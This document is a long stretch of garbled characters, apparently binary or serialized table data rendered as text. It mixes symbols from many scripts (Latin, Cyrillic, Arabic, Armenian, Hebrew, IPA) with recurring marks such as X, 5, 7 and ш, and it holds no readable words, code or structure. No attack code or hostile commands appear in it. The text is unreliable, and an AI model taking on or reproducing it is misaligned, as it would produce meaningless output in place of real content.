:ɸ"&#ɸ$%ɸɸ')ɸ(ɸɸ*ɸ,2-:.0/ɸ51:36:45::798:::<P=D>?@BA7C:EIFGH@JMKL:NO=QZRVST:UWXY:[_\]^:`cab:deXghóiÐj|kxlqmonXp5rust5vw55y:z{::}É~ÄÂÀÁ:::Ã:ÅÈÆÇ:::ÊËÍÌ:ÎÏ::ÑëÒßÓÙÔ×ÕÖ:::Ø:ÚÝÛÜ::Þ:àåáäâã:::æèç:éê::ìíîñïð::ò:ôõö÷üøúùǬû]ýÿþX%XXYr5:]çX:XXX]XXX:XXXXXX::XXX: X   X XXXXX XXXXȂ:!"#XX%&'(7)2*+/,-.XX0X1X3456XX89:;<=XX?@jAEBVCDEFGHIJK2LMĊNmO^PWQTRS5шUVc:rX[YZ7Y\]77Mr_f`cabT5de57gjhiɸX7kl7Xpn{otprq:sXXuxvwçXyz7AMOo|ă}Ā~7j5āĂcX7ĄćąĆX7ĈĉY>LċĨČěčĔĎđďĐc5]Ēē7Ⱥ7ĕĘĖėXYXçęĚXXĜĢĝĠĞğ7rX7ġX7ģĦĤĥXeXħ7шĩķĪıīĮĬĭO@шcįİ9#5XIJĴijX:ĵĶ7Uj7ĸĿĹļĺĻXĽľ77Xɸɸ7ш77c7XX7TT55ɸ9l7Oo9l7ш7X765ɚȬ    ç ȐY7X:AM>ɸ$ш575ɸ! 7"#XX%+&)'(XȬç*çXç,/-.XçXç01X>\ɸȺ3Ũ4n5R6D7>8;9:MX<=r?A@Oo7BC5ȺELFIGH7mX9lJK7MONçшPQȞS`TZUWVXXYXȞ[^\]X7Ȭ7_7XagbecdXɸfhkij:7lm77oŋp~qxrust5vw7y|z{7}ɸŅŀŃŁł7:XXńX7ņʼnŇň:=NŊnŌŚōŔŎőŏŐȺ猜T5rŕŘŖŗlXř7rśšŜŞŝXXşŠX:ŢťţŤ77Ŧŧ757ũŪūŸŬųŭŰŮů7XXűŲçX7ŴŷŵŶXŹŽźŻżшX7žſ7ɩ7шш7Ǭ-ɸ7|ɸ]7mɸX781X5Xɸ-77=7MNXA" AM4XX9 7:  7 0FMX=s7ƖX; .!'"%#$:8@&X(+)*],-7/4021X7358679:шXш5<K=D>A?@=X7ɸBC]EHFG77IJ]XLRMPNOшQrSVTU7cW77kYxZi[b\_]^7Yç`a5AMkkcfderXghǞjqknlmOoopX7rust55vwA":Ⱥ5yƇzƀ{}|X~5-XƁƄƂƃɸ7ƅƆç{ƈƏƉƌƊƋƍƎXX75ƐƓƑƒXXƔƕɸXƗƘƮƙƤƚơƛƞƜƝ`rl7ƟƠ]]ƢɸƣɸƥƨƦɸƧɸɸƩƫƪɸƬƭ9lXɸǞƯƾưƷƱƴƲƳȐrXƵƶXX:ƸƻƹƺƼƽX7ƿ77X7çX7Yb7XX75XX]7X   7  XXXXXш7O? 7!*"&#$%X'(X)+1,/-.70XX24X3X5678;9:<=>7@FABCDEXGKHIJXXLMNPQRSTU7WgXYZ[\]^_`abcdefDhijklmnȤo6pqǩrǏsǁtzuwvDDxyZ sD{~|}=DDO_ǀLDDLǂLjǃdžDŽDžDXçDDLJDXljnjNJNjXDD5ǍǎDXɸDǐǞǑǘǒǕǓǔX7DXǖǗXDXǙǛDǚsDǜǝшDDYǟǤǠǢXǡNDDǣDcǥǧǦDcçǨDOPDǪǻǫǴǬDZǭǯDǮDǰDDDDzdzDNDǵǸDǶ3ǷZ 3DǹDǺ3DǼǽǾǿDlDDDXDDDDD:D7|DDшDDXшDDDDDшDDDrDшAMDDDnDD`DDnD7|DDDDDDD:DDDDX   D#D  5XD:ɚXDçDɸDɸɸDDɸDLD+ &!#"DçD$%DDZ ')D(D:*D,1-/.DD0D243DDD577Ȑ8k9P:E;B<?=>cD@AXcDDCD7FKGIHDJDLNDMDODDQ_RXSUT7VWɸY\Z[Dɸɸ]^DsD`facbDǞDdeD:gihDuɸjNɸlȂmvnqoɸpɸ:ɸrtɸsɸDɸuɸw|xzyɸDɸ{ɸDɸ}ɸ~ɸDȀȁ5]DȃȉȄȅȇȆDȈDȊȍȋȌDMȎȏDȑșȒȓȔȕȗȖDȘDȚȟțȜȝȞ5ȠȡȢȣDȥȦȻȧȵȨȰȩȪȭȫȬDȮȯDȱȲȳȴDȶȷȸȹȺ7ȼȽȾȿDȬǞrȺȂcDȬǬX5::::DXX<4$ XXX D   DDDDD! D"#D%&/'+()*,-.X0123D56789:;=>?@ABCDLFGHIJKLMN#OPɼQɍRqSbT[UXVWYɸ`YZ:Nc:\_]^:5ш7|`aZ :]cjdgefXAMrhi:7XknlmȬ/opǞXYrsytwuvXш5ȬxDȬz|ç{}~ ǞçȬɀɆɁɃɂAMɄɅш:7|ɇɊɈɉO5ɋɌ]X5ɎɪɏɜɐɗɑɔɒɓǞbXɕɖ5Ȑk; ɘɛəɚȐXȐ Ȑɝɤɞɡɟɠ:-ɢɣ7NɥɧɦȬɨɩ]ǞȐɫɸɬɲɭɯɮX>ɰɱiɳɵɸɴ:7ɶɷ5ɹɺɻcɽɾɿɸɸɸɸɸɸɸɸɸɸɸɸɸɸXɸN:NZ >ɸɸ:Ȃ7|ɸ:::::::     ɚXXXXXXX X!"Y$c%5&',()*X+X-1./0N23X4X6M7C8=9:X;<X>?A@XBXDIEFHGXXXJKLXNZOVPSQRXXTUXWXXYX[_\]^X`abXdefghiXklΓmnopqrs&tHufvwʲxʔyʆzʀ{~|}]5XʁʃʂNXʄʅcYʇʎʈʋʉʊ81XNʌʍcYǞʏʑʐʒʓɊʕʤʖʝʗʚʘʙш5ʛʜ:';5ʞʡʟʠY:XʢʣXcXʥʫʦʨʧXʩʪYçʬʯʭʮXʰʱǞXʳʴʵʼʶʹʷʸɸXcʺʻr]5ʽʾʿX0Fc>çшçYUX]5çX7X7XX5-c->-=X:ш]NXǬ) шXXXXç]XcXшc]XXXX5X5  XX5c  ɩȞ9{ɚcXMX55"X5Ȟ !5]#&$%Ⱥc'(X/XǬ*I+:,3-0./XX:12:X-4756=c]89cǞ{;B<?=>c5@AcXCFDEȬcGHXc/JYKRLOMNXcA"PQc-XSVTU]ǞWXɩcZ`[^\]X_ǞçadbcɸcȬeX/ȬghˠiˇjykrlomnçȬXpqXǞcsvtu-cwxXc7zˁ{~|}Ɋ^ˀXX˂˅˃˄M5XˆM-ˈ˔ˉːˊˍˋˌX55ˎˏXXX>ˑ˒˓X7ɸ˕˛˖˙˗˘X7m˚c˜˞˝>˟Xˡ˾ˢ˱ˣ˪ˤ˧˥˦cXшX˨˩XX˫ˮˬ˭ɩcc7˯˰cc˲˷˳˵˴>\˶X˸˻˹˺cXc]˼˽/Xç˿X=NXXccXrXAMX /rc]ccшɩȬ5X``X81XXXXX=ȬXcc çç]XXX] cc   {5c7ç-1$Xc]c! Ǟ"#AM]ɸǞ%,&)'(çɩ*+c--/.cX0c52=394756ç`c8:;<]Ɋ>E?B@A/çCD5F]GçI=JK̄LfM[NUORPQççшSTш:VYWX]>Z\a]_^ш';`bdc5ev%gvhoiljkrYmn5cpsqrXctuǬw~x{yz5:|}Ȭ̂̀́rc5̃<)̢̅̆̔̇̍̈̊̉:X̋̌ç9{c̎̑̏̐cȬ̒̓XX:5̛̖̘̗̕/=̙̚cX̜̟̝̞]X-̡̠Nc̨̧̣̲̤̫̥̦XX̩̪]Ǟc̬̯̭̮-çX̰̱]̴̶̵̷̸̳̹Ǭ̺̻̼̽]X̾̿X>NcX]c/Xc5XAM5cX55ccNX5X=-]ш5ç/c5X-5N:XɸcNX8]    5X ]7c7m=]ç:XɸX=cX5MX. '!$"#55]%&X5ɸ(+)*c,-çш/60312cXc45]X7:89XXǞ;<]ç>Ͱ?x@[ANBHCFDEMç]:GXILJKX7çMXXOTPRXQ5S]UXVWcǞ-YZ5Mc\i]c^`_]ab7cdfe-ȺghX]5jqknlmXɩopXXcrustXXcvw5AMy͔z͆{͂|}~:5̀́c̓̈́ͅçcXc͇͎͈͉͋͊XȺ͍͌XXXш͏͑͐:͓͒AMXX͕͖͚͙ͣ͗͘͝c>X]͛͜XMXc͟͞͡͠XɊ%͢:Xͤͪͥͨͦͧɸ-ͩɸͫͮͬͭY5XͯcͱͲͳʹͻ͵͸ͶͷX{5͹ͺ]шͼͿͽ;XO1cXNXXXc5>cççǞXɸX-XX]>XXXNX';N-XXX-çXX X/-Xç';XcçɊǞcXXX çXXc  XɸX ɸɸXɸXɸ5cɸɸ:ɸɸX #!"Yɸɸ$%X`'()~*`+D,:-3.1/0c2]M4756ɸM/89/ȬȬ;A<?=>Ȭɸ@ɸçBɸɸCɸESFLGIHɸɸJKcɚMPNO7ȬQR55T[UXVWX:cYZçc]\^5]X:_XçawblcfXdXegjhi-XXk:mqnoXp7rustçcXXvcxyz|X{X5}XcX΀Έ΁΂΅΃X΄XΆ·Ή΍Ί΋ΌcΎΑΏΐXΒXΔΕΖΗΘΙΚzΛ`ΜΝΞΟξΠίΡΨ΢ΥΣΤΦΧrMΩάΪΫ6DrrέήMr6%rΰηαδβγXεζ><MθλικrXμνr7]οrrMr6DO@rr6DrrrrrrrMMrM:o:Orr6D:oX:orɸXrrrȐ:OrXrXXXXXrrr    rr rM6DrE,!rMrr7|r :oM"(#%r$r&'MȺr)*+MrM-;.5/201r34rXr69786DXXr:rX:O<A=?>r:orX@XBCD:OrFdGVHOILJKrr:oMNMr:OшPSQRǬMrTU:OrrW^X[YZ6D:oM:O\]M6Dr_b`aȂrcr:Oerflgjhirrrk:ompno:Orq6Dsytvur6DwxM6Dz}{|rNr~rπρϸςϞσϐτωυχφr:OMψ:o:OϊύϋόMrώϏXrϑϘϒϕϓϔ:OrϖϗrrϙϜϚϛ6DrϝrϟϬϠϦϡϣrϢrϤϥr:oMϧϩϨr6DϪϫrrϭϴϮϱϯϰ:or:oϲϳrϵ϶Ϸr6DϹϺϻϼϿϽϾrr::OMr:o:XrrMrM5:OMMrMrrrr:orr6DrrMrr)r:O6DX:Orrr6DM6Dr:O:O   =X  M:Or-Xr=5:OAM:Or:OAMr% "!rX:#$6DMr&ɸ'(r:O`*F+8,1-/ɸ.rɸ0ɸç2534rɸr67:O9?:<r;r=>Mr@CABDEr5:GRHKrIJr:6DLOMN:or6DPQMr:oSYTVrU:OWX:ǬZ][\r:O^_:OAra bcЛdeqflgjhirM:okrmon:p6Drrxsutrr:vwrry|z{Mr}~rrЀЏЁЈЂЅЃЄM]O@ІЇrMkЉЌЊЋrЍЎrMMАЕБГВMrrД:ЖИЗrrЙКMrМйНЫОХПТРСMr:УФ6D:rЦШЧ:ЩЪшr:orЬвЭЯ6DЮ6Dаб6D:oMrгждеMMзи5rrклмпноM6DMMr:oMMrrMO@rrrшM:orrrMrrɸ6D:O6Drr     `rшrr!N"F#9$.%+&('ɸ)*ɸɸ,ɸ-ɸr/4021ɸɸɸ3rɸ57ɸ6M8ɸMɸ:A;><ɸ=ɸrɸ?@BCDErrGHIJLK=MO^PQURSTMVYWX5Z\[:o]r_n`hafbdcXXXeXgXXijlkrXMmrospqrrtwuvxy{|}ѵ~ёхрстуф::oцъчшщXыюьэяѐXђѧѓўєњѕјіїљMћќѝ:r:OџѤѠѢѡѣrѥѦrѨѮѩXѪѬѫѭXѯѲѰѱMѳѴrѶѷѸѹѼѺѻѽѾXѿXrXrXXXXrXXX5:OXԢӣg/ȬnȬ6XȬXȬnȬnȬ   n:шȬ  Ȭ]ȬȬȬ]nȬȬ#Ȭ5çȬ:ǬȬn Ȭn:!"Ȭ:5$+%(&'-Ȭ)*nn,-Ȭ.Ȭn:0L1>28354Ȭn67ȬçȬX9<:;nȬȬ7=Ȭn]?E@CABȬn:ȬȬD:ȬFIGHXȬJK:ȬȬMZNTOQPɸXRSXȬ:UXVWXnYȬȬ[`\^]ȬȬnn_ȬnadbcɸȬXefǞȬn>-hқi҅jxkrlomnȬnȬ:pqnȬ:suȬtnȬvwȬ:Ȭnyz|Ȭ{Ȭ:}~ȬǬȬXҀ҃ҁ҂n]Ǭ҄ȬȬ҆Ғ҇Ҏ҈ҋ҉ҊȬɩȬnҌҍȬXȬшȬҏҐґȬXғҖҔȬȬҕ:`җҙҘȬ5ǞȬҚçȬҜҶҝҨҞҢҟȬҠҡMȬnXңҥҤȬnȬҦҧȬnnXҩүҪҭҫҬnȬnҮȬnȬҰҳұҲnȬȐ:ҴҵȬçnшҷҸҽҹһȬҺȬ:ȬҼȬnҾȬҿȬ`ȬnȬɸшnȬȬnȬXȬȬ:Ȭɸш6ȬȬnXȬшȬnȬȬnȬnȬ:ȬȬX:ȬnnȬȬcǬȬXnȬȬ:nȬnȬnǬ]ȬȬȬXȬ- ȬnȬȬȬn   Ȭjon ȬȬ/XȬɩȬȬȬ8ȬȬȬN*$!Ȭ ȬǬ"#ȬȬ<8%'&ȬD()n>Ȭ+1,.Ȭ-nȬ/0Ȭ`nȬ24Ȭ3:ȬȬ5Ȭn7k8S9G:@;=Ȭ<`Ȭ>?ȬnȬYADBCȺ;ȬEFɸɸȐHNILJKȬ:Ȭ:ȬMnȬOQȬPɸȬȬRȬǞT`U[VXȬWnYZȬ::\^]ȬȬ:OȬ_ȬaebcȬdȬȬfighȬ;ȬnȬjnçlӇmzntoqȬpȬnrsnȬȬǬuxvwȬȬyȬ:Ȭ{Ӂ|}~rȬȬӀȬȬ9{ӂӅӃӄn:ȬnӆȬӈӔӉӎӊӌ:ӋȬ:ӍȬXӏӒӐӑȬ5ȬnȬӓȬnӕӜӖәӗӘȬ:ȬӚӛȬɸȬӝӠӞӟȬ:ȬӡӢȬn7ȬӤPӥӦӧӨӴөӯӪӬӫȬ]ȬӭӮn`ȬӰӲӱȬ=ȬӳȬȬnӵӻӶӹӷӸшnnrӺȬ]ӼӿӽӾ:ȬrȬnȬшȬçȬȬnȬnnȬȬȬnȬɸȬɸȬȬnɸȬnȬɸȬnȬ9lшȬnȬçȬȬDȬçȬçȬ5ȬXȬçnrɸȬ=nɸȬɸɸrȬnçXȬ    ȬȬ n/XȬȬȬȬ %!"#$ȬȬ&,')(n*+ȬɸȬɸ-ɸ.ɸn0G1=27354ɸɸȬɸ6n8;9:Ȭnɚ<:Ȭ>E?B@A7ȬCDȬȬFnHLIJKDMNOnQ_RYSTUVWXȬnȬZ[\]^D`ԃapbgcdefȬnhmikjȬlȬnoȬqzrustȬnvxwȬyȬ{~|}ȬԁԀȬԂȬԄԋԅԆԇԉԈȬԊnԌԘԍԒԎԐԏnԑXԓԕԔnԖԗ9lnԙԜԚԛȬԝԠԞԟȬɸ::ԡ:ԣԤԥԦԧԸԨԲԩԭԪԫԬȬ:Ԯ԰ԯȬԱȬԳԴԶԵȬԷnԹԽԺԻԼǬԾԿȬn::::::::::::Ȭn     ׊֟ՄO2$ɸ "!Ȑ#:%+&)'(:X*,/-.X]X01ɸш:3@4;5867>9:ɸǞ<>=?:5AHBECD::FGXɸɸILJKȐɚMNɸPkQ\RWSUT:VɸXZY::[:]d^a_`:bc:шehfg::ij:lwmtnqoprsuv7x~y|z{Ǟr:}ՂՀՁ:Ճ7ՅվՆդՇՖՈՏՉՌՊՋrȂՍՎ:ՐՓՑՒXՔՕɸ՗՝՘՛ՙ՚:X:՜X՞ա՟ՠ:]բգ=rեղզլէժըթɸիɸɸխհծկ5ɸɸձɸճչմնյȬɸշո:պռջ:ս]տXXY::X5:ɸǞX::XYr:I:     :,::& #!"Xɸ$%Xɸ')(ɸ*+ɸ:Oɸ-;.4/10235867ɸɸ9:ɸɸ<B=@>?ɸɸAɸCFDENɸGHɸJuKdLXMSNPOɸQRɸɸTVUWY`Z][\ɸɸ^_ɸɸabcɸ:enfkgihшj]lmoprqstш:v֋wքx~y|z{X:ɸ}Ȑցրɸւփɸɸօֆ։ևֈ֊X֌֕֍֐֎֏:֑֓֒֔5֖֛֚֙֗֘֝֜ç:֞:֠Bַ֢֣֤֥֦֧֪֮֡֫֨֩Xְֱֲֳִ֭֬֯Ǟֵֶ:ָֹֺֻּ:ֽ־ֿ:::]::XX:::::ш:::::X::::::::::: :X:    :$:Xш! "#Y%4&-'*()/+,:X.1/0M23X5;6879:X<?=>Ȭ:@AɸCjDOEJFGHIKLMNXPZQVRTSXXUXWXY[c\_]^`aXXbXdgeXfXXhiXkqlmnoprׁsztwuvxy{~|}:׀Ooׂ׃ׇׅׄ׆X׈׉׋׌׍׎ײ׏ךאהבגדוטזXחXXיXכקלסםןמנXXעץףפXjצר׬שתX׫X9׭ׯ׮XXװױ:׳״׵׺׶׸׷X:׹X׻׾׼׽׿XXXXXXXX۬4'jY87X9l87ш58ш85X787877887898 8"X888   9l6597 8"89ш7X9lX]8ш8"X8658:,& #!"787$%ш8'*()N857+87-3.0/ȐX1287Xɩ475689O"898ш;J<C=@>?8"OoXAB8]8"DGEF7Ⱥ]HIX8KRLOMN8"AMX7PQX65Ⱥ8"SVTU58WX8X8"Zؖ[y\j]d^a_`8"7AMbc8"шX8eg8f8"chiOo7ш5krlomnç]8шpq`Xsvtu9X7шwx7X8z؈{؁|~}X؀XX]؂؅؃؄-ш78؆؇88"78"؉؏؊؍؋،8"X8c؎8X7ؐؓؑؒ87]5ؔؕ8X98"ؗشؘاؙؠؚ؝؛؜X]шY؞؟857ءؤآأшX]إئ88"XO"بدةجتثX788"حخ8O"8ذزر8Nس87XصضؽطغظعXшػؼ879XؾؿX8YçX8ȺXXN7m5XA"ш]8"ȬǞX88518X-8"Xш8XXXX78O"XX8AM8"X]]778%88788XY589X    8çXш 88887ç8888ш888")# 88"8!"78c$&8%8Y'(8658X*8+.,-889/08ш782Y3F4;85688789:898=<C=@>?889ABO"X7ɩ8D8ErGPHK8IJ8865LN8M8O8шQU8RST8"X88VWX88ȬZb8[\_8]^8ш88`a88X8cdg8e8f88hi8ш8kl٫mيn|os8p8qr8X8tw8u8vX8xz8yш88{8}ف8~8ـ8=8قمك8ل898نو8ه8X8ى8Xً٢ٌٍِٖ8َُ8X8ّْٔٓш>k8ٕ8X8ٗٝ٘ٚٙ88ٜٛ888"ٞ٠ٟ88١8ш8٣٧٤88٥٦8X٨88٩8٪8ш٬٭ٵ8ٮٯٲٰ88ٱ87ٳ8ٴ88ٶٺٷ8ٸ88ٹ88"ٻټپ8ٽ89ٿ878788X78898888788588888N88888ç88888J88ш8659888788X888888  8 8 889l8 888988888775 888788ш8!"8#%8$87&887(8)8*8+8,88-.1/880982838X856$78ڜ9o:T;J<C=@>?:XAB:Ǭ:DGEF5:7XHI:crKQLOMNrȬPr=RS:UcV\WYXш:Z[:Ǭ:]`^_:8":ab:7:5dhefgǞ:iljk:ɸmn:=r:Opڈq~rxsvtu6%;w:y|z{Ȭ:}rڅڀڃځڂȐ:шڄǞچڇ:OoډړڊڐڋڍڌȬڎڏXшڑڒXڔڗڕږXژښڙXڛ:ڝڞڷڟڪڠڦڡڤڢڣɸ ɸڥڧڨک:Xګڱڬگڭڮɸ-7]ڰYڲڵڳڴ::ڶ:ڸڼڹںڻ:ڽھڿ:ȂcjXHçǬ:: ш:5:шшX:7   :: X:XXXXX" !]#X%ۆ&P'5()*0+.,-XX/XX13X2XX4X6B7>8;9:Oo<=X?@A:CJDGEFшHIXKLNM:O7|QiR[SWTUV>\XYZ:\e]b^`_:a:cdɸfgXhXjvkplmXnoɸqrtXsXu:w}xy{zXX|X~ہXۀXۂۄۃXXXۅXnۇۥۈ۔ۉېۊۋیێۍ:ۏ:ۑےۓXە۞ۖۚۗۘۙ:ۛۜ۝XX۟۠ۢۡçۣۤۦۧۨ۩۪۫:ۭۮۯܪ۰Y۱ ۲۳۴۵ۻ۶۸۷ш۹ۺ]Mۼ۾۽rۿ:X:5X`:7Xш 7 !  XX` Ȟ"-#)$&%'(]*+,`].4/201::3:56ɸ8L9B:?;=<ш>@A5CFDE:GJHIçK0FMQNOPXRUSTVWX::Z܀[k\a]^_`:bgcdefhij::lqmnop::rwstu:v:x{yz|~}::܁ܓ܂܇܃܄܅:܆:܈܌܉܊܋X܍ܑ܎܏XܐXXܒXܔܟܕܖܚܗܘXXܙXܛܝXܜXܞXXܠܣܡܢXܤܧܥܦܨܩܫܬܭܳܮܯܱܴܾܹܷܸܰܲܵܶȺܼܻܺk;ܽXܿçȺç7XXXȺȺ0݄0 Ȟ7XǞ57X  X  '6%brXrшш$! :"#]Xш%&(,)*+ç;-./0F1V2F3;4756X8:9çX<C=@>?ǞX%AB`ɸDEXGMHKIJXL::NQ:OP::RT:S:]:U:WiXbY^Z\[X]X_:`aX::cdgefr::h:jwkqlnm:opȺшrustшv:x~y{z:|}:шX݁݀Nɸ݂݃ɸɸ݆݅ݸ݇ݡ݈ݕ݉ݎ݊݌:݋:ݍ:Xݏݒݐݑ::Xݓݔ:Ⱥݖݛݗݙݘ:Ȟݚ:ݜݟݝݞ::ݠ:ݢݮݣݨݤݦݥ:ݧ:ݩݬݪݫ:Ǭݭ:ݯݳݰݲݱ::ݴݶݵ:ݷ:ݹݺݻݼݿݽݾ:7ç:::ȞȐX5X7ǞǞǞȞǞȞ7ǞXǬǬ:X`7Ȟ6%r5X  X X XX :r:ǞrȂ)$! ]"#6DXX%'&XX(X*-X+X,X./Ǟ1f2L3F4=59678X:;<->B?@AXCDE:GHIJK=MXNSOPQR7TUVWXYaZ[^\]_`ǞbcdXeXgމhoijknlXmXXpހqvrstXuXw|xzyXXX{X}~XXށނކރޅބXXއވXXފދޑތލގޏXސXޒޓޔޕXXޗxޘޙsޚUޛ߹ޜ,ޝޞ޺ޟޮޠަޡޢޤޣXޥɩާިޫީު5шެޭN:ޯ޴ްޱ޲޳X:޵޶޸޷Ȭ޹X޻޼޽޾޿]ш:Xш:Oɸkk]cXXXXrXɚ :ɸ`::::::::::]:::    ::::N::X::% :::!":#$::&)':(:r:*:+::-.[/E07:124:3:567X8>9;::<=::?B@AȬ:CDX:FSGNHKIJ::LM::OQ:P=:R5:TWUVXXYZ::X\k]h^c_a`:b:dfe:g:ij:lumpnoXqrXstX6Dvywxçz}{|XX~X߀ߣ߁ߕ߂ߌ߃߉߄߇߅߆k{HX߈Xߊߋ]ߍߐߎߏ=ߑߓߒ=ߔXߖߟߗߜߘߚߙ]ߛ:ߝߞ:ߠߡߢ]ߤ߬ߥߦߩߧߨXߪ߫X߭ߴ߮߱߯߰]߲߳Xߵ߶߷߸]]ߺ߻߼߽߾߿]XXXXXXXXXXXXXXXXXXXXш]]],     ]çX"XX !7|#($%&'XX)X*X+X-K.3/012XX4A5;687i9:XX<?=>XX@XBFCEDXXGIHXJXLMQNOPшRSTXVWXYmZh[b\_]^7|`aǬcdfeXgɸijklNnopqrtuvLwxyz{|}~::b:::Ȭ6%:5Ȑ```:_:```::X::X:XXȐ::X:::X``:YX:X:rç::r:5::ɸXȺ::::ɸ :Ǟ]Ǟ7]]:  Yɸ:  шc:Ȃ:ɸ:1%!:: XȐ"#$Ǭ&+')(:*Ȃ,/-.::07m:2>374567:Ǭ:8;9::<=>`?F@CAB::DE::DGIHJKDMNvOhP^QWRUSTXDjVXXшX[YZ8`\]XȂ`_e`b:a8cdfg:irjmkXlXnpXoXqXstuXw|xyz{Ȭ}~::=::::::YXш:Ooш:Ȑ:::::N:::M:::::ш:O::::s:::::::ш::   5  :Oon:C1*$ "!Ǟ#:%'&r():+,/-.ç:0Ȑ2;38465Ȑ7X]9:Ǟ<@=>?=XXAXBXD]ESFLGIHXXJKXȺMPNOX:QRX]TXUVWXXY[ZX\^k_e`cabXXd:fighXXjlpmno::qrXtuvwx{yzX|~}Ȭ:XXX]XXXȐȐ:;V"55Xc5`X5555>5ɚX50F5X5ɚ5XȺ0FX5XXȺ5:ǬZ Ⱥ5 5]Xc55XȺȺXO"5l55-5755XǞȺ55X55]ç5     X5X5шɊȺ5X55Y5-ш55 !5cX#]$@%2&-'*()-5X8"+,AM]]=.1/0ç-Ⱥ53:47565]AM89ш50F;=<XX5>?5X]AOBICFDE9X5ȺGHǞcX5JLK5-5MNçX5O"PWQTRSXY5XUVX50F5XZYXX5[\ǬX5X^|_m`fadbc/-XXeXgjhi7XɚklAM5Ǭ5nuorpqX]Xstc55Xvywx-5Xz{X5ç}~5X55XXXXX575X55ȺX5XX5ǞX5X-0F-]5X-AMcX>55Ⱥɩ5X5X5шX5XXX55X5XO"55X5Ǟ5c55шɩc5X55]5Ⱥ55ш]kXX55X5шȺ559{558"5+ 55  X  XX5X5шX5= %!#"5$7&('X)*5,C-9.4/10235X57658:=;<5>@?`ABXDNEIFHGɚ5JMKLçX5OPSQR0FXTUX5WXYZn[h\b]_^-`aXɚ5cedXfgXijlkXOom5o|pvqsrXtu55wyx5z{XX}~5X55X50F555X5Ǟ5ш5c55`555555X55AM-5ɩ5ш5:550F55X5XX55O"555=X555]шȺ5ɚшz A %   5ȺǞ5Xш5XXш@5 #!"X55$X5&4'-(*5)5+,Xш.1/0XȺ523X555;68759:55ш<>5=5-?@XNB`CQDKEHFGX55IJ55LOMNX5PXRYSVTUXXWX5Z][\Ȑ5Ⱥ5^_XçapbicfdeAMȺghXAM5-jmkl]:no5XX-qurstX7rɚvxw5y5X{|}~557ȺX555X5AMш5555-Ⱥ55-57X55r5Ⱥ5XAMɚ5555nX5X-5550Fш585ȺɚȺ5555X65K7]Xç5шXшAMAMȺ`Ǟ55555    X 5ш-52#X59{X 55!"]Xш$+%(&'5X)*Xç9{5,/-.7--50155X3>49576XȺ8A":<;X=?E@BAш7CDX5FH5GȺ5IJAM75LMhN[OUPRQXST55VXW5ш5YZ55\c]`^_-`5-ab55dfe5gXшivjpknlmX5Xo7qsrXXtuX-w|xzy-{-X}~55ш65ǞX5555X5=]5X5X-X5шX9l50F7X55X5X5YX5r5" 5 Xш   5X55 !#.$)%&'(*+,-5/071423556589:<=>?@wAZBPCJDGEF77XHIш77KM7L79NO9шȐXQSR779TWUV7X9XYX775[h\b]`^_7977a7cfde7шX7g77AMipjmklX7]7no7шɚXqtrs7X79uv97X7xyz{}7|77~779XшX9X97X7шȺ77XȺ777X7ç757X9ɚ7X9ш5789797T77O"797Ⱥш975O"779777797965T7шX77X9X7XX7X757X979:X77]9AM55XȺ7797шX757шX7X7779ш77777 X97 779  7 Xш7Y797ɚȺXш9AM7X765 !T";#0$+%(&'Oo79)*779,.-7X77/X71624X37959Xш7978X7:9Ⱥ<G=A>7?@ш9XBD7C79EF75X7HMIK7J977L7AMNQOP7;7]RSX7XpUnVaW\XZY77AM[X]_^7X`779bgcfde799X7AMhkijX7Xlm9777o}pwqtrs7X9uv9659x{yz579:X|7X~l7O"7X775799X77шш7997]O"Nшɚ97797XXX7X97XX7AM7>X77X77XX79779l7577ɚ8@7797XшX7797797X97X977Ⱥ777X7977X757X|77m7:757X79Ⱥ759X597:7:XX7Xg8797T979    X5ɚ X7c7757-шX7Xɚ97r+$!7 X7"#7шXç%(&'X77ш)*XɚX,1-/X.7ш707mX2534X7XȺ677X7:9U:H;B<?=>ш77ç@AX-7]CFDE77]7GcIPJMKLb779NO797QS7RX7T77XVaW^X[YZ97X7\]97_`7bced7fçhi}jsknlm7oqp7r79tzuxvw77y7{|7~-X77X7D9X777X77657979777799777777777ɚX777g8%     977797!7 97"#$7&2'+()*,/-.701834567979V:I;B<?=>7@A7CDFEXGH77JRKNLM7OPQçɚSTU7WbX^YZ\[X]7_`a7cdef7hijoklmn9ptqrscuvwy|z{|/}X~ɚшшɚXrXшɚɚXɚɚNшɚ7mXɚɚNɚшɚɚ/ɚɚrXшɚXш79{шшɚXɚшɚȺɚɚшçɚɚNɚXɚшɚXAMX5ɚшXɚXшɚXшɚɚшɚXɚN7X7NȐɚ7ɚɚшɚшɚшɚXɚɚXɚǬ7шш7ɚшɚXAMAMɚ$ ɚXшɚɚXш9lɚшXшXшɚɚɚX7шɚçшX7шɚɚш   ɚ XçɚAMɚçɚɚшɚAMɚXшɚX65! XɚшX"#ɚш%=&2'+(*)шɚ,/-.шɚ01ɚXɚ37456N8;9:ɚXɚ<5>J?D@BArɚC@EHFGXXɚɚIɚcKRLOMN7ɚɚ<)PQшɚNшSVTUɚɚшɚWXɚYZ[x\j]c^`ш_ɚ:abɚXшdgefшɚɚXhiɚшшɚkrlomnçXɚшpqш7ɚAMsutшɚXvwшXçшyz{~|}cшшɚçɚɚ9{9{ɚTɚɚш9{:ш5шшXɚXшɚш9шɚшшAMɚшшɚNX7ɚɚɚшшɚɚшɚTɚXɚшɚXшɚXɚшX7ɚш7ɚXшɚш7шɚçɚɚXɚɚɚXшX7mXɚX7ɚɚшɚɚшXɚXXɚɚɚɚɚɚXɚшɚ]ɚXшɚшɚɚ:XɚшXɚXɚɚçXɚшXɚ ɚ7шɚ  шɚ  XɚɚXшX7AM ɚɚXɚɚ>\XɚɸXɚш!("%#$7Xɚ5&'ɚшшɚ),*+ɚшшɚ-.ш9{Yɚ012k3N4B5<6978Xɚ7ɚ:;шçшɚ=@>?XшȺшɚAXɚCHDFEɚɚшɚGɚçIKɚJшLMɚшшɚO\PVQTRSXш:ɚUɚ9XWZXYXɚXɚɚ[7ɚ]d^a_`ɚшшɚbc9:шXehfgXɸɚijXç7Xlmznsorpqɚш]ɚɚшtwuvɚçшɚxyш]ɚ9{{|}~шXш7шɚXçɚXɚɚɚXшX:7ɚшXɚXɚшɚшɚɚXXNɚшXɚNшNɚNǞɚXɚшшɚшɚшɚ65XшcɚшXɚɚшɚçɚǞɚɚAMɚX5ɚNX9lXɚшXшшXXшɚ7ɚXшшXшXXɚшkkX]XшXA"ɚɚшɚɚXɚXXɚ><XшXɚɚшXAMXAMNXlX<)XшXɚXɚɚXшX     7XXшX-ɚX]шrqS4& 